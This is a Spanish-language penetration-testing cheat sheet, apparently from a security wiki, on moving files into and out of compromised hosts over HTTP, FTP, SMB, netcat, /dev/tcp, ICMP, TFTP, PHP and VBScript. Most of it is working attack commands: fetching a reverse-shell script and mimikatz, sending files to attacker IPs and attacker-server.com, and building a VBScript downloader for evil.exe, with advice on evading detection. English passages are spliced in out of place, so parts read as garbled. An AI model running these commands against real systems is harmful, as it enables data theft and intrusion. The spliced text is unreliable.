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Exfiltración

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Grupo de Seguridad Try Hard

{% embed url="https://discord.gg/tryhardsecurity" %}

Dominios comúnmente permitidos para exfiltrar información

Consulta https://lots-project.com/ para encontrar dominios comúnmente permitidos que pueden ser abusados

Copiar y Pegar Base64

Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Subir archivos

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

Servidor HTTPS

# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

FTP

Servidor FTP (python)

pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

Servidor FTP (NodeJS)

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

Servidor FTP (pure-ftp)

apt-get update && apt-get install pure-ftp

#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Cliente de Windows

#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

SMB

Kali como servidor

kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

O crear un recurso compartido smb utilizando samba:

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart

Exfiltration

Introduction

Exfiltration is the unauthorized transfer of data from a target system. This can be achieved through various methods, such as using command and control (C2) channels, exfiltrating data over DNS, or leveraging cloud storage services.

Techniques

Data Compression

Data can be compressed before exfiltration to reduce its size and avoid detection.

Data Encryption

Encrypting exfiltrated data can help prevent detection and protect the confidentiality of the information.

Steganography

Steganography involves hiding data within other files or images to avoid detection.

Data Fragmentation

Breaking data into smaller fragments can help avoid detection and make exfiltration more stealthy.

Tools and Resources

  • Cobalt Strike: A popular tool for post-exploitation activities, including exfiltration.
  • Empire: Another post-exploitation framework that can be used for exfiltration.
  • PowerShell: Built-in Windows tool that can be used for data exfiltration.
  • Cloud Storage Services: Platforms like Dropbox, Google Drive, and OneDrive can be leveraged for exfiltrating data.

By using a combination of these techniques and tools, attackers can exfiltrate data from a target system without being detected.

CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

El atacante debe tener SSHd en ejecución.

scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS

Si la víctima tiene SSH, el atacante puede montar un directorio desde la víctima hacia el atacante.

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

Técnicas de Exfiltración

Exfiltración a través de DNS

La exfiltración a través de DNS implica el envío de datos sensibles a un servidor controlado por el atacante a través de consultas DNS. Esto puede ser logrado utilizando subdominios para representar los datos a exfiltrar.

Exfiltración a través de ICMP

La exfiltración a través de ICMP implica el envío de datos a través de mensajes ICMP. Los datos pueden ser codificados en los campos de datos de los mensajes ICMP para ser transmitidos a un servidor controlado por el atacante.

Exfiltración a través de HTTP/S

La exfiltración a través de HTTP/S implica el envío de datos a través de solicitudes HTTP o HTTPS a un servidor controlado por el atacante. Los datos pueden ser codificados en los encabezados HTTP o en el cuerpo de la solicitud.

Exfiltración a través de canales encubiertos

La exfiltración a través de canales encubiertos implica el uso de técnicas avanzadas para ocultar la transferencia de datos sensibles. Esto puede incluir el uso de protocolos no convencionales o la modificación de protocolos existentes para pasar desapercibido.

nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

Descargar archivo desde la víctima

nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Subir archivo a la víctima

nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

Gracias a @BinaryShadow_

ICMP

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)

from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

Si puedes enviar datos a un servidor SMTP, puedes crear un servidor SMTP para recibir los datos con python:

sudo python -m smtpd -n -c DebuggingServer :25

TFTP

Por defecto en XP y 2003 (en otros sistemas operativos necesita ser agregado explícitamente durante la instalación)

En Kali, iniciar el servidor TFTP:

#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

Servidor TFTP en python:

pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

En víctima, conectarse al servidor Kali:

tftp -i <KALI-IP> get nc.exe

PHP

Descarga un archivo con un PHP oneliner:

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

Exfiltration

VBScript can be used to exfiltrate data by sending it over HTTP or HTTPS to an attacker-controlled server. This can be achieved by creating an HTTP request object, setting the request method, adding headers, and sending the data in the request body. The following example demonstrates how data can be exfiltrated using VBScript:

Dim objHTTP, strData
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
strData = "exfiltrated_data_here"
objHTTP.Open "POST", "http://attacker-server.com/data_receiver", False
objHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objHTTP.send strData

In this example, the MSXML2.ServerXMLHTTP object is used to create an HTTP request. The data to be exfiltrated is stored in the strData variable. The Open method is used to specify the request method and target URL. Headers can be added using the setRequestHeader method. Finally, the data is sent in the request body using the send method.

It is important to note that exfiltrating data using VBScript may trigger security alerts, as it can be detected by endpoint security solutions. Encryption and obfuscation techniques can be used to evade detection.

Attacker> python -m SimpleHTTPServer 80

Víctima

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

El programa debug.exe no solo permite la inspección de binarios, sino que también tiene la capacidad de reconstruirlos a partir de hexadecimal. Esto significa que al proporcionar un hexadecimal de un binario, debug.exe puede generar el archivo binario. Sin embargo, es importante tener en cuenta que debug.exe tiene una limitación de ensamblaje de archivos de hasta 64 kb de tamaño.

# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt

Luego copie y pegue el texto en la ventana de comandos de Windows y se creará un archivo llamado nc.exe.

* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)

## DNS

* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)

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<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>

{% embed url="https://discord.gg/tryhardsecurity" %}

<details>

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</details>